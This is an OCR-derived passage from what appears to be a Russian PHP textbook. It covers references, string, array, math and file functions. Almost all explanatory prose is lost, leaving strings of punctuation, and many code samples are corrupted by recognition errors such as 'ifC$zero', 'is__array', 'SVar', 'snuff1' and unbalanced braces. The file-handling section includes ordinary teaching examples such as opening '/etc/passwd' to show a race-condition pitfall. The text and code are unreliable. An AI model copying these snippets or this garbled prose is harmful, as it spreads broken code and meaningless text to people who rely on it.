, Unix chown ( ) . , , , ( ), . . .
chown ( )
MyChOwn ( ) ( / ) .
/ (
), ,
, chown
:
if ( ! function_exists ( "chown" ) )
{ function chown ($f name, $mode)
{ //
return 1 ;

, Windows "" c h o w n o , .
( , 4
.)
:
ttifndef, telse #endif. , , , , . , , .

, , . , ? . , - ,
, ,
3. , ().

" "

, ,

11.

199

. , . . , " ".
:
function A($i) { echo "a $i\n"; }
function B($i) { echo "b $i\n"; }
function C($i) { echo "c $i\n"; }
$F="A";

// $F="B" $F="C"

$F(10);

// , $F

.
uasort ( } , , ,
,
. 13,
:
//
function FCmp($a,$b)
( return strcmp(tolower($a),tolower($b))
}

$a=array("b"=>"bbb", "a"=>"Aaa", "d"=>"ddd);


uasort($a,"FCmp"); //

, uasort ,
,
.
, -, , .
, ( ), . , , , ,
.


, , ,
return. , , . :
$=100;
function R()
{ global $a; // $

200

III. PHP

return $a; // , !

}
$b=R();
$b=0;

// $, $!

echo $a; // 100

, R ( ) ,
$,
, $. ,
- (
),
, .
?
$ = & ( ) , , , . . $
$, . return &$a, ( & =). . ,
( 11.15):
! 11.15.
$=100;
function &R() // &
{ global $a; // $
return $a; // , , !
}

$b=&R(); // & !!!


$=0;
// $!
echo $; // 0. , $ - $

, & :
,
. return .

. no-
& , $
$, . - , . , ,
.

1.

20

: DumpO
,
. , , , .
, Dump ( ) .
, . , ,
, , ,
, . , (
).
(
v

4 print_r ( ) var_dump ( ) , , ,
.
\

I 11.16. Dump ()
// , ""
function TextDump (&$Var, $Level=0)
{ if (is__array($Var) } $Type="Array[" . count ($Var) ."]";
else if (is_object(SVar) ) $Type="Object";
else $Type="";
if($Type) {
echo "$Type\n";
for (Reset ($Var) ,$Level++; list ($k, $v) =each ($Var) ; ) {
if (is_array ($v) && $k==="GLOBALS") continue;
for($i=0; $i<$Level*3; $i++) echo " ";
echo "<b>".HtmlSpecialChars ($k) . "</b> => ", TextDump ($v, $Level) ;

else echo "" ,HtmlSpecialChars ($Var) , "" . "\n";

//
function Dump(&$Var)
if ( (is_array($Var) | |is_object ($Var) ) && count($Var))
echo "<pre>\n", TextDump ($Var) , "</pre>\n";
else

III. PHP

202
echo "<tt>",TextDump($Var),"</tt>\n";

Dump ( ) .
TextDumpO (, , )
Htmispeciaichars , <, > " HTML-
(,

Sit;,

&gt;

Squot;).

, , ( <>
<tt> ).


.
,
. , , , . "", .
2030 , , .
, .
: , - , , ,
. : , . , ,
. .
, : , .
- , , . , ,
- , . ,
,
, , , . , : ,
serialize () , Cookies
. , :
,
.

---

Y '

V
\

IV.

PHP

,
, , . ,
. ,
: , , ( ,
, ),
PCRE (Perl-compatible regular expression
Perl). ( !) , , ,
...
,
. echo,
. .
, Web-. , ,
,
. , , (
, ?) , , oruine-, http://www.php.net http://ru.php.net. ,
,
, .
.
, ,
. , : Web!
( !) , . ,
( , ), , . ,
( http://www.php.net) , ,
. , ,
( ). ,
, , , , .

12

. , , s e r i a l i z e ; ) ( u n s e r i a i i z e ).
0 255 .
" ",
( ). ,
- .
(, 1 15) chr , .
, -
( ) , ' , : , . . ( ) . , ,
(, ), , .
, .


( 80%), . - (, quotemeta ( ) ) , . , , : ,
? , ,
, , .


, , , .
, , +, : ,
? , , - ?

12.

207

,
+ , .
, "."
().
"."
. , , . . , array object . ,
,
- , .
, Array:
$a=array(10,20,30);
echo $a // ! !

, , .
,
. , , $day
, $month $ ,
" 8 2000 " :
echo " $day $month $year ";

, echo,
. , $.


if-else
,
.
. == != (
, ) -, , ,
. if. ( 12.1):
\ 12.1. ! !
$=1;

//

$zero=0;

//

if($one=="") echo 1;

// , 1

if($zero=="") echo 3;

// ! 3!

208

IV.

if(""==$zero) echo 4;

// !..

if("$zero"=="") echo 5; // 3

if(strval($zero)==""} echo 6; // 6
ifC$zero===""} echo 7;

// , 3

, "" 0 () ""? , . , ,
. 0, ,
; .

3
, "". , - , ,
, . , 3.0.12
, , , .

, -, , , .
, 4 ===
( , ). ,
. , 0=="", 0!=="".
, , === strval ( ) , 12.1.
, .
. strpos ( $ s t r , $ w h a t ) , $what $str false,
. ,
$str <? ( " PHP-", ).
,
if (strpos ($str, "<?") !=false)
echo " PHP-";

, <? (
, ,
0, false).
3,
:
if (strval (strpos ($str, "<?") } !="")
echo " PHP-";

12.

209

, "", .
, 4
:
if(strpos($str,"<?")!==false)
echo " PHP-";

, ! ==
false, "". ,
false ! =="", , , false=="".



string chr(int $code)

$code.
- , ,
. 12.2 ,
, . .
| 12.2. :

// , ,
// ()
for(.$i=0,$x=0; $x<16; $++) {
for($y=0; $y<16; $++) {
$Chars[$x][$y]=array($i,chr($i));

// ,
// HTML-

<table border=l cellpadding=l cellspacing=0>

210

IV.

<?for($y=0; $y<16; $++)

{?>

<tr>
< ? f o r ( $ x = 0 ; $<16; $++) { ?>
<td>
<?=$Chars[$x] [$] [0]?>:
<bxttx?=$Chars[$x] [$y] [ l ] ? x / t t x / b >
</td>
<?}?>
</tr>

<?} ?>
</table>

int ordfchar $ch)

, , $ch. ,
o r d ( c h r ( $ n ) ) $ , $
255.
int strrpos (string $where, char $what)

, strposo (. ), . $where ,
$what ( $what , ,
!). ,
, false (. strpos ( ) ).
, , strrpos () .
.


, , ( ) :

. ,
, -
, , , . , .

12.

211

, , . ,
.
, 32, , , . , , - " ",
- .
, ,

. , .
, ,
, . , ""
, , 1%-
, ,
. , ,
. , , , .
string trira(string $st)

$st, . : " ", \,


\ \t. , t r i m ( " test\n ")
"test".
. ,
. .
string Itrim(string $st)

To , t r i m o , ,
. .
trim , .
string chop(string $st)

, .
, Perl. , .

8 . 699

212

IV.


int strlen(string $st)

. , . .,
$st. , , (
). strlen ( ) .
int strpos(string $where, string $what, int $fromwhere=0)

$where (
) $what () . , , 0. $fromwhere ,
$from, - .
$fromwhere. ,
false. ,
strpos false ===.
string substr(string $str, int $from [,int $length])

. $str, $start $iength. $ length , $ start


$str. $start , ,
$ length , .
. , $start , ,
,
$str (, -1 " ").
$iength, , .
$str
$iength, .
int strcmp(string $strl, string $str2)

(, ) : ,
; -1, $strl $str2; 1, , , $stri "" $str2. , .
int strcasecmp(string $strl, string $str2)

To , s t r c m p o ,
. , "" "" .

12.

213

"" , . "" (, )
strcasecmpO
(/. ).


, , .
string str_replace(string $from, string $to, string $str)

$str $from ( )
$to . , , . ,
ereg_repiace ( ) , , , - . , HTML- <br>:
$st=str_replace("\n","<br>\n",$st)

, , <br>\n , , . . .
ni2br ( ) , .
string n!2br(string $string)

\ <br>\n . . , \, Windows,
, .
string Wordwrap(string $st, int $width=75, string $break="\n")

, - 4,
mail . $st
, $break, ,
$width . ,
. , $break. ,
60 -

214

IV.

, " " ( ,
, ):
function Cite($OurText, $prefix="> ")
! $st=WordWrap($OurText, 60-strlen (Spref ix) , "\n") ;
$st=$prefix. str_replace ("\n", "\n$prefix", $st) ;
// , ,
// -, .
return $st;

string strip_tags (string $str [, string $allowable_tags] }

. $aiiowabie_tags ,
. . :
$st="
<> </>
<^> TeKCT</tt>
< href=http: //www.dklab. ></>";
echo " : $st";
echo "<> : " . strip_tags ($st , "<a><b>" ) . "<hr>";

, , <> <>
( ), <tt> .
string str repeat (string $st,

string $number)

"" $st $number


. :
echo str_repeat ( "test ! ", 3) ; // test ! test ! test !

Web- , : , , , , URL- . ,
, . - ,
.

12.

215

string strtr(string $str, string $from, string $to)

, -
. : $str ,
$from, "" (
, $from) $to. ,
ereg_repiace , , . ,
...

.

URL-

string UrlEncode(string $st)

URL- $st .
, , ,
< h r e f = . . . > - , , - . :
echo "<a href=/script.php?param=".UrlEncode($UserData);

, $UserData =, &
, .
string UrlDecode(string $st)

URL- . , , UrlEncode ,
.
string RawUrlEncode(string $st)

UrlEncode , +, , - . ,
.
string RawUrlDecode(string $st)

UrlDecodeQ, + .
, echo. ,
.
string HtmlSpecialChars(string $str)

( [],
"" "") HTML-, , " ". value ,

216

IV.

,
, . , $ . , ,
:
<?foreach ($Book as $k=>$v) ( ?>
: <?=$v[ 'name' ] ?><br>
: <?=HtmlSpecialChars ($v[ 'text' ] ) ?>
<hr>

,
.

Web- ,
strip_tags ( ) . , , "" . ,
, , ,
, : < name= ' a>b ' >.
string StripSlashes (string $st)

$st . : ", ', \


.
string AddSlashes (string Sst)

: ', " \.
e v a i o ( , , , ; () , ).


- , ,
, . . .
,
s t r t r o , , ,
. ,
. .
string strtolower (string $str)

. .

12.

217

, (
, , , , . .) , ,
. , , , "" , strtr ( ) :
$st=strtr($st,
"ABEKMHOPCTXABCDEFGHIKLMNOPQRSTUVWXYZ",

"!ghiklmnopqrstuvwxyz");

,
, .
string strtoupper (string $str)

. .
,
"" , ""
.

( )
string SetLocale(string $category, string $locale)
,
, - . .
,
-. ,
SetLocale , $category. :
LC_CTYPE --
/ ;
LC_NUMERIC , ;
LCJTIME ;
LC__ALL .
$iocaie. , , , ,

218

IV.

. . ,
. -, $ locale
"", , ,
$category ( LANG Unix). , 0, , .
, , , -, .
-,
. , , , , , Windows:
setlocale('LC^CTYPE', 'ru_SU.KOI8-R') ;


KOI8-R.
, ,
, .
, , : ,
(, s t r t r o ) , .


,
. ,
: windows, KOI8-R. -
- WIN-1251, ,
KOI8-R.
.
string convert_cyr_string(string $str, char $from, char $to);

$str $from $to. , , "" , . .


. ,
Sfrom ,
. $from $to ,
:
k koi8-r
w windows-1251
i - iso8859-5

12.

219

-866
d -866
d m x-mac-cyrillic
, ,
,
.


, , ""
. , - :
echo ", Sname! $ .";

, :
printf(", %s! % ",name, age);

, , -. ,
,
.
string sprintf(string $format [, mixed args, ...])

sprintf . ,
,
,
.
$ format , %.
. ( ,
% ) , , $format.
% , :
echo sprintf ("The percentage was 9od%%", $percentage) ;

( %):
, , . - ( , ) 0,

220

IV.

. -,
, '.
, , .
,
, - ().
, .
, ""
, .
, ".", ,
. , , .
, ( !) , :
;

d ;
f ;
;
s ;
af;
AF.
:
$moneyl = 68.75;
$money2 = 54.35;
$money = $moneyl + $money2;
// echo $money "123.1"...
$formatted = sprintf ("%01.2f", $money);
// echo $formatted "123.10"!

, :
$isodate=sprintf("%04d-%02d-%02d",$year,$month,$day);

,
sprintf ( ) .

12.

221

void printf(string $format [, mixed args, ...])

, sprintf ( ) , , .
string number_format(float $number, int $decimals,
string $dec_point=".", string $thousands_sep=",");


. , ! $decimais ,
.
$dec_point , $thousands_sep (
, ).

, s s c a n f o f s c a n f o , . :

explode ( } .
.


, , ,
( , , 32).
pack ( ) unpack ( ) .
string pack(string $format [,mixed $args, ...])

pack ( ) , . , , $ format, , sprintf , %.


, ,
. , a, A, h ,
,
- ( , ). @ , . , . *, , . :
, 0;

222

IV.

, ;
, ;
, ;
();
;
(16 , );
s ;
(16 , );
v (16 , );
i ( );
i ;
1 (32 , );
L ;
O N (32 , );
v (32 , );
f ( );
( );
;
1 ;
@ .
, ? :
// , ,
$bindata = pack("nvc*", 0x1234, 0x5678, 65, 66);

$bindata
6 : 0x12, 0x34, 0x78, 0x56, 0x41, 0x42 (
).
array unpack(string $format, string $data)

unpack , pack () --
$data, $format.
, .
Sformat , p a c k O ,
, ( -

12.

223

) "" . /. :
$array=unpack("c2chars/nint", $bindata);

: charsi,
chars2 int. , ,
1, 2 . ., . .
, .
pack unpack',)? ,
GIF-, , 32- , . ,
, . . , pack unpack .
, , (,
), ( GIF- Getimagesize ( ) ) .

-
string mc!5 (string $st)

- $st, RSA
Data Security "MD5 Message-Digest Algorithm". -
, $st. To
, , $st, -, .

- , 1000 , - ,
MDS- . , ,
.

, $st
, MDS- 32 .
- , , MD5? ,
. , ,
, . ,
, , - , , -

224

IV.

. , , , . ,
, . : , (MD5) -. -
-
, . , , , , ...
, - - $st
. , , , - . , - !
MD5 , . ,
5- , , , ,
MD5 . ,
MD5.
,
, MDS-.
int crc32(string Sstr)

32 32- $str. To
, 32- (4-) . md5 ,
"-" . , ,
"-", ,
-. , , 32- ,
, 32 , MD5.
string crypt(string $str [,string $salt])

DES
Unix ( ,
m d s o ) . MD5 . : MD5 .
md5() crypto. , crypto
: -
, DES
(, Apache).

12.

225

- , $sait
(, )
. $sait , , :
$st="This is the test";
echo crypt($st)."<br>";

// , , 7N8JKLKbBWEhg

echo crypt($st)."<br>";

// , , Jsk746pawBOA2

, c r y p t o
-.
.


void f l u s h ( )

, . . : echo
, , "". . ,
, , - ( ). -
flush ( ) , echo .

13


III ,
.
, , . .
,
. ( 4) ,
, . .


. . ,
,
.


(asort()/arsort())
a s o r t o , , ,
( ) (
) . , . . =>
"" , , "". :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha", "d"=>"Processor");
asort($A);
foreach($A as $k=>$v) echo "$k=>$v

";

// "c=>Alpha

b=>Weapon

d=>Processor

a=>Zero"

// , =>

arsort , : , .

13.

227


(ksort()/krsort())
k s o r t o a s o r t o , , , ( ). :
$A=array("d"=>"Zero", "c"=>"Weapon", "b"=>"Alpha", "a"=>"Processor");
ksort($A);
for(Reset($A); list($k,$v)=each($A);) echo "$k=>$v
// "a=>Processor

b=>Alpha

c=>Weapon

";

d=>Zero"


krsort ( ) , ksort ( ) .


uksortQ
- , . , $Fiies
. ,
,
. u k s o r t o , , uksort ( ) .
: 13.1.
// $fl $f2 :
// -1, $fl<$f2,
//

0, $fl==$f2

//

1, $fl>$f2

// < >
function FCmp($fl,$f2)
{

//
if(is_dir($fl) && !is_dir($f2)) return -1;
//
if(!is_dir($fl) && is_dir($f2)) return 1;

//
if($fl<$f2) return -1; elseif($fl>$f2) return 1; else return 0;

228

IV.

// $Files
// . .

uksort($Files,"FCmp");

// " "

, uksort ( ) , . ., , "" , "".


uasortO
uasort uksort , ,
() "" , .
=>.

array_reverce()
array_reverse ( ) ,
, .
, , . ,
, arsort ( ) ,
, :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha","d"=>"Processor");
asort ($A) ;
$A=array_reverse($A);

, , - a r s o r t ( ) .

sort()/rsort()

(, , 0 ). sort
(, ) , a rsort ( ) --
. :
$A=array("One", "Two", "Three", "Four");
sort ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four

l:Two

2:Three

3:0ne"

";

13.

229

.
0,1,2
. , => , ,
-, , .


usort()
"" u a s o r t o sort .
sort ( ) , . u a s o r t o - - ,
,
. :
function FCmp($a,$b) { return strcmp($a,$b); }
$A=array("One","Two","Three","Four");
usort. ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four

1:One

2:Three

3:Two"

strcmp , ,
-1, $<$, 0, , 1, $>$. , sort .

shuffleO
s h u f f i e o "" , , , . , , -, , -, . :
$=(10,20,30,40,50) ;
snuff1($);
foreach($A as $v) echo "$v

";

10, 20, 30, 40 50 .

, ,
. , shuffle ( ) , -

IV.

230

srand(). (.
mt_srand(. , (
srand ( ) ) , .


"" . SArr ,
. ,
, :

list array_keys(array $Arr [,mixed $SearchVal])

, $.
$searchvai, ,
$searchvai.

,
[ ] .
list array_values(array $Arr)

array values $. , ,
.
bool in_array(mixed Sval, array $Arr)

true, $vai
$. , , :
, ?
.
array array_count_values(list $List)

, $List,
. -

13.

231

, array_count_vaiues $List. :
$List=array(l, "hello", I, "world", "hello");
array_count_values($array) ;

// array(l=>2, "hello"=>2, "world"=>l)


s t r t r o ,
, s t r _ r e p i a c e ( ) , .
, s t r t r o ,
str_replace ( ) .
string strtr(string $st, array $Substitutes)

( , ,
strtr !) $st :
$substitutes
. ,
, str_repiace() :
$Subs=array(
"<name>" => "Larry",
"<time>" => date("d.m.Y")

);
$st="npMBeT, <name>! <time>";
echo strtr($st,$Subs);
"" H t m l S p e c i a l C h a r s () :
$Trans=array__flip(get_html__translation_table () ) ;
$st=strtr($st, $Trans);

,
HTML-,
. g e t _ h t m l _ t r a n s i a t i o n _ t a b l e
. , H t m l S p e c i a l C h a r s ( ) .

strtr ()
.

IV.

232


array array_merge(array $A1, array $A2, ...)

array_merge , + . , , , . ,
=> , . :
.
, array_merge ( ) + . , :
$Ll=array(10,20,30) ;
$L2=array(100,200,300) ;
$L=array_merge($L1,$L2);
// $L===array(10,20,30,100,200, 300) ;

, , .


array array^slice(array $Arr, int $offset [, int Slen])

,
=> () $ o f f s e t $1
( , ).
$offset $1 ,
s u b s t r t ) . ,
( ),
. . :
$input = array ("a", "b", "", "d", "e");
$output = array_slice ($input, 2);

// "", "d", "e"

$output = array_slice ($input, 2, -1);

// "c", "d"

$output = array_slice ($input, -2, 1);

// "d"

$output = array_slice ($input, 0, 3);

// "a", "b", "c"

/
, . , [ ] ( ) -

233

13.

, ,
unset ( ) .
4 , .
int array_push (list &$Arr, mixed $varl [, mixed $var2, ...] )

$ $vari, $var2 . .
,
[ ]. , ,
:
array_push ($Arr, 1000) ;
$[]=100;

// ...
// ,

, arrayjpush ( ) ,
, .
.
mixed arrayjpop(list &$Arr)

a r r a y _ p o p ( ) , arrayjpush , "" ( ) , $.
, . $
, .
int array_unshift (list &$Arr, mixed $varl [, mixed $var2, ...] )

arrayjpush , , . $vari,
$var2 . . , . . ""
. , , , 0; ,
, ( ). .
:
SA=array(10,"a"=>20,30);
array_unshift($A,"!","?");
// $===(0=>"!", !=>"?", 2=>10, =>20, 3=>30)
mixed array_shift(list &$Arr)

$ .
_ ( ) , , , ""

234

IV.

:

array array_unique(array $Arr)

array_unique ( ) , $ .
=>:
$input=array("" => "green", "red", "b" => "green", "blue", "red");
$result=array_unique($input);
// $result===array("a"=>"green", "red", "blue");
array array_splice(array &$Arr, int $offset [, int Slen] [, int. SRepl])

, a r r a y _ s i i c e ( ) , $, $of f set $ien, , ,


. ,
, $Repi ( ,
$Repi ). $offset $ien , substro , ,
. substr ( ) , .
:
$input=array("red", "green", "blue", "yellow");
array_splice($input,2);

// $input===array("red", "green")
array_splice($input, 1,-1) ;
// $input===array("red", "yellow")
array_splice($input, -1, 1, array("black", "maroon"));
// $input===array("red", "green", "blue", "black", "maroon")
array__splice ($input, 1, count ($ input), "orange");
// $input===array("red", "orange")

, $Repi
, , .


array compact (mixed $vnl [, mixed $vn2, ...] )

compact ( ) , 4,
(
), $vni, $vn2 . . -

13.

235

, $vnN,
. :
$a="Test string";
$b="Some text";
$A=compact("a","b");
// $A===array("a"=>"Test string", "b"=>"Some text")

mixed? ,
, .
, , .
, ,
, . . , ,
:
$a="Test";
$b="Text";
$="";
$d="DDD";
$Lst=array("b",array("","d"));
$A=compact("a",$Lst);
// $A===array("a"=>"Test", "b"=>"Text", "c"=>"CCC", "d"=>"DDD")
void extract(array $Arr [, int $type] [, string $prefix])

, compact .
, $
=> .
Stype , ,
, $.
, . 13.1
13.1. extract

EXTR OVERWRITE

( )

EXTR_SKIP

He ,

EXTR_PREFIX_SAME

,
$pref ix. ,

EXTR__PREFIX_ALL

$prefix

IV.

236

EXTRJDVERWRITE, . . . :
//
extract($HTTP_ENV_VARS);
// , . _
extract($HTTP_ENV_VARS, EXTR_PREFIX_ALL, "E_");
echo $E COMSPEC; // COMSPEC

$pref ix ,
EXTR_PREFIX_SAME EXTR_PREFIX_ALL.

, extract compact , ,
. ,
,
,
:
<table width=100%>
<?foreach($Book as $Entry) { extract ($Entry) ?>
<tr>
<td>^: <?=$name?x/td> <! $Entry [ 'name' ] >
<td>Aflpec: <?=$url?x/td> <! $Entry [ 'url ' ]
</tr>
<tr><td colspan=3x?=$text?x/tdx/tr>
<trxtd colspan=3xhr></tdx/tr>

, $Entry
. , ,
(, $Book $Entry),
, .

-
list range (int Slow, int $high)

. , $iow $high . ,

13.

237

foreach!
<table>
<?foreach(range(1,100) as Si) {?>
<tr>
<tdx?=$i?x/td>
<td>3To

<?=$i?x/td>

</tr>

<?} ?>
</table>

( , ) , :
<table>
<?for($i=l; $i<=100; $i++) {?>
<tr>

<tdx?=$i?x/td>
<td>3TO <?=$i?x/td>
</tr>
<?} ?>

</table>

14

, . ,
,
.


4 ,
.
. 14.1.
14.1. .

PI

3, 1 41 59265358979323846

2,7182818284590452354

LOG2E

1 ,4426950408889634074

Log2(e)

LOG10E

0,434294481 903251 82765

Lg(e)

LN2

0,6931 471 8055994530942

Ln(2)

M_LN10

2,30258509299404568402

Ln(10)

PI 2

1 ,5707963267948966 1 923

/2

_1_4

0,7853981 6339744830962

/4

1 PI

0,31830988618379067154

1/

2 PI

0,63661977236758134308

2/71

SQRTPI

1 ,77245385090551 602729

sqrtU)

2 SQRTPI

1,12837916709551257390

2/sqrt(Tt)

SQRT2

1 ,41 421 356237309504880

sqrt(2)

14.

239
14, 1 ()

SQRT3

1 ,73205080756887729352

sqrt(3)

M_SQRT1_2

0,70710678118654752440

1/sqrt(2)

LNPI

1 , 1 44729885849400 1 74 1 4

Ln(7i)

EULER

0,57721566490153286061

, - , . , ,
Web- , , . , .


mixed abs(mixed $number)

. $number float int,


.
double round(double $val)

$val , :
$foo = round(3.4); // $foo == 3.0
$foo = round (3.5); /,/ $foo ==4.0
Sfoo = round(3.6); // $foo == 4.0
int ceil(float $number)
, $number. , $number .
int floor(float $number)

, $number.


.
, Web-
.

rand ( ) srand ( ) , , , . -

240

IV.
, rand ()
.

int mt_rand(int $min=0, int $max=RAND_MAX)

, , . , ,
http://www.math.keio.ac.jp/~matumoto/emt.html,
http://www.scp.syr.edu/~marc/hawk/twister.html. 0 RAND_MAX ( ,
mt_getrandmax()), $min
$.

rr.t_srand ( ) .

mt_rand ( ) .
( , , f gets () , , ,
). :
for($i=0; mt_rand(0,$i)<l; $i++)
$s=fgets($OurFile,10000);
echo " : $s";

:
100%, 50%
( ), 33%, . . , ,
, , 33%, , , 66%. 50%, 50% 66% 33%, . . . ,
. ,
, .
,
- mt_rand ( ) ,
, . ,
. ? , .
.

14.

241

, rand ( )
, .
void mt_srand(int $seed)

.
, , mt_rand ( ) , ,
(, , ):
.
m t _ s r a n d ( ) : $seed, . :
mt_srand(time() +(double)microtime * 1000000) ;
$randval = m t _ r a n d ( ) ;

( ), .

( ), , .
int mt_getrandmax()

, mt_rand ( ) , RAND_MAX.



string base_convert(string $number, int $frombase, int $tobase)
$number ( $frombase) $tobase.
$frombase $tobase 2 36 . $number , 11, 12, . . z, 36. , i i i i i i i i (8 ), ,
FF :
echo base convert("FF",16,2);

IV.

242
int bindec(string $binary_string)

, $binary_string, .
string decbin(int $number)

,
$number. , ,
2 147 483 647, 31 .

. , "bin" "oct" "hex".


mixed miii (mixed $argl [int $arg2, ..., int Sargn])

, .
:
. (),
. ( )
, , .
: ,
, ,
, . , .
mixed max(mixed $argl [int $arg2, ..., int $argn])

min ( ) , .


float sqrt(float $arg)

. ,
, !
: ,
?..
float

log(float'$arg)

. , , sqrt ( ) , .
float e x p ( f l o a t $arg)

(2,718281828) $arg.

14.

243

float pow(float $base, float $exp)

Sbase $.

. , , ...
float acos(float $arg)

.
float asin(float $arg)

.
float atari (float $arg)

.
float atan2(float $y, float $x)

$/$, , ($, $). ,


-< . :
$alpha=atan2(1,1);

// $alpha==pi/4

$alpha=atan2(-!,-!); // $alpha==-3*pi/4
float sin(float arg)

. .
float cos(float $arg)

.
float tan(float arg)

, .
double p i ( )

. 4 ( 3):
echo pi *10;

, , M_PI?..

9 . 699

15


. -,
, Windows ( Unix)
, .
, :
. , ,
"" .
-,
Web , (, ).
http: // f t p : / / , ,
, .
(
, -).


( )
.
. , Unix-

\.

, \ ,
. ., . \ (, "
\ "), . , , , \ " \, ".

Windows
, , , \ \ .

15.

245

, \ \
" " \, ,
, Unix. , , , ,

"" \. Windows MacOS (,
\\, \\, - ).
: \
\ \ .
, \ \ \.
, ,
/,
, . , ,
Unix, , Windows .
,
, .
. ,
fopen ( )
,
. , ,
, ,
Windows MacOS, Unix.
fopen .
/,
, .
- (, GIF) ,
, . ,
Windows \ \
\, , , . .


, .
, ,
( ). ( , ),
"" , .

246

/V.

( ,
).
int fopen(string $filename, string $mode, bool $use_include_path=false)

$ filename $mode . "", , ,


fopen false. , ,
, 0
, , , fopen ( ) ( , ,
). $use_inciude_path ,
, ,
, include require.
.
$mode :
CD r . , . , . . ;
+ . . ,
, f a l s e . , - ,
, "" ,
. ;
w .
, . , , "";
w+ +, ,
. ,
. , ;
, . , - .
, ;
+ , , . , ,
. , -
(, ), , ;

15.

247

$mode. ,
, w, a, r+, w+ + t. ( ),
/. t,
, . .
.

t ( ,
), , ,
.

, .
- , : . , , fgets .
: 15.1. test.php:

//
// ,
function MakeHex($st)
{ for($i=0; $i<strlen($st) ; $i++) $Hex[]=sprintf ("%2X", ord($st
return joint" ",$Hex);

}
//
$f=fopen ("test.php", "r") ;

//

echo MakeHex (fgets ($f, 100) ) , "<br>\n";


$f=f open ("test.php", "rt") ; //
echo MakeHex (fgets ($f,100) ) , "<br>\n";

test.php < ?.
. ,
, . . .
Unix. , echo:
3F
3F

248

IV.

,
, \ ( Ox3F
< ?). , Windows, :
3F OD
3F

, ! .
, h t t p : / /
f t p : / / , .
HTTP- ,
: Host GET.
, f gets ( ) .
FTP-, , , . ,
FTP- (,
).
, .
: \ ,
DOS Windows. . ,
/ (, Windows).
- ,
, :
$fp = fopen ( " : \ \ w i n d o w s \ \ h o s t s " ,

""};

:
. !
:
//
$f = fopen("/home/user/file.txt", "r") or die("!");
// HTTP-
$f = fopen("http://www.php.net/", "r") or die("!");
// FTP-
$f = fopen("ftp://user:password@example.com/", "w") or die("!");

15.

249

ordie()
.
or die '. . , or
( , =), . ,
:
($f=fopen("/home/user/file.txt", "r")) or die("!");

, , or " "
( ). :
. : ,
fopen false, , die "
" or.
, or ,
| |, , =. ,
$f=fopen("/home/user/file.txt", "r") || die("!");


$ f = ( f o p e n ( " / h o m e / u s e r / f i l e . t x t " , "r") I I d i e ( " ! " ) ) ;

, , .


,
.
, . .
int t m p f i l e ( )

(
"") . , .

" " ,
- : . ?
,
"" , .

IV.

250

, , .

, , .


. ,
. , (
) .
int fclose(int $fp)

, f open ( ) ( ( )
f s o c k o p e n o , ). false,
(, -
). "".
, FTP- HTTP-,
"" . , , , .

FTP-
, . , , ,
, .


(, ,
, . . ) , -,
.
. , ,
, , .
,
.
.
, (
) , , , -

15.

25?

. ,
, .
/.

/
string fread(int $f, int $numbytes)

$f $numbytes .
( ,
). ,
$numbytes , (, ), , .
, .
$numbytes (, ). ,
. , f r e a d ( )
(
). , ,
.
int fwrite(int $f, string $st)

$f $st.
f read , " ".

,
(, ()), f read () f write ( ) .

( t
) \
, .

/
string fgets(int $f, int $ length)

, \.
.
$iength-i ,
$ length-1 . ,
"" . ( -

252

IV.

) File , . , f gets ( t read )


Windows \ \
\, .
int fputs (int $f,

string $st)

fwrite ( ) .
,
, . ... , .

CSV-
Excel Microsoft Office ,
, Excel.
.
list fgetcsv(int $f, int $length, char $delim=',')

, $f, $deiim. $deiim , .


false, . $iength
, f gets ( ) .
, .
f getcsv ( ) f gets (} /explode ( ) ,
, , .
:
$f=fopen("file.csv","r") or die("!");
for($i=0; $data=fgetcsv($f, 1000, ";"); $i++) {
$num = count($data);
if($num==l && $data[0]==="") continue;
echo "<> $i ($num ):</h3>";
for($c=0; $c<$num; $c++)
print "[$c]: $data[$c]<br>";

}
fclose($f);

15.

253


int f e o f ( i n t $ f )

true, (
). :
$f=f open ("myfile.txt", "") ;
while ( Ifeof ($f) )
{ $st=fgets ($f ) ;
// $st

f close ($f) ;

, . .
. File
(. ) f read ( ) ,
, !
int fseek(int $f, in $offset, int $whence=SEEK_SET)

$ o f f s e t (
, ,
$whence). , , , $f , HTTP FTP.
$whence, , , $ o f f s e t . , , , , 1 2:
SEEK_SET ;
SEEK__CUR ;
SEEK_END .
$of f s e t
( SEEK__END ).
, 0, -1. . ,
-?
int f t e l K i n t $ f )

. , ,
.

254

IV.



, ( ) . ,
, .


bool file_exists(string $filename)

true, $ filename . ! ,
:
$fname="/etc/passwd" ;
if(!file_exists($fname)
$f=fopen($fname,"w");
else
$f=fopen($fname,"r");

, f i i e _ e x i s t s
w ,
"" "" . ,
. .
string filetype(string $fiiename)

, $ filename.
, false.
:
f i l e ;
dir ;
link ;
f i f o fifo-;
block - ;
char - ;
unknown .
filetype . , , .

15.

255

bool is_file(string $filename)

true, $fiiename .
bool is_dir(string $filename)

true, $fiiename .
bool is_link(string $filename)
true, $ f i l e n a m e .


8 , is_.
,
"" .
bool is readable(string $filenarae)

true, .
bool is_writeable(string $filename)

true, .
bool is executable(string Sfilename)

true, .


array stat(string $filename)

,
, . :
0 ;
1 inode;
2 ;
3 ("" ) ;
4 uid ;
; gid ;
6 ;
7 ;
, 1 1970 ;
9 ;
;

IV.

256

11 ;
12 .
, ,
Unix. Windows (,
, , ).
.
$ filename , , ,
( ). istat ( ) , , stat ( ) .


stat () ,
, - .
, ( ), - , , false.
int fileatime(string $filename)

(access) (, ). , 1 1970 . , false.


int filemtime(string $filename)

false
.
int filectime(string $filename)

.
int filesize(string $filename)

false, .
int touch(string $filename [, int $timestamp])

$fiiename
$timestamp ( , 1 1970 ). , . false.

, .

15.

257



. , "" - , ,
.
.
string basename (string $path)
$path. :
echo basename("/home/somebody/somefile.txt"); // "somefile.txt"
echo basename("/"); //
echo basename("/.");

// "."

echo basename("/./"); // "."


, basename ( )
.
. ,
basename , Windows.
string dirname(string $path)

, $path.
"" ,
:
echo dirname("/home/file.txt"); // "/home"

echo dirname("../file.txt"); // ".."


echo dirname("/file.txt");

// "/" Unix, "\" Windows

echo dirname("/");

//

echo dirname("file.txt");

// "."

, dirname "" ,
" . " , " ".

(, 3) "". , ""
, .

string tempnam(string $dir, string $prefix)


$dir $pref ix , , .
$prefix . -

258

IV.

, tempnamcvtmp", "temp") -
/tmp/temp3a6b243c. , , , $dir=".".
, tempnamo
:
$fname=tempnam () ;
$f=fopen($fname,"w");
//

, , - , tempnamo fopen () ""


- , tempnamo
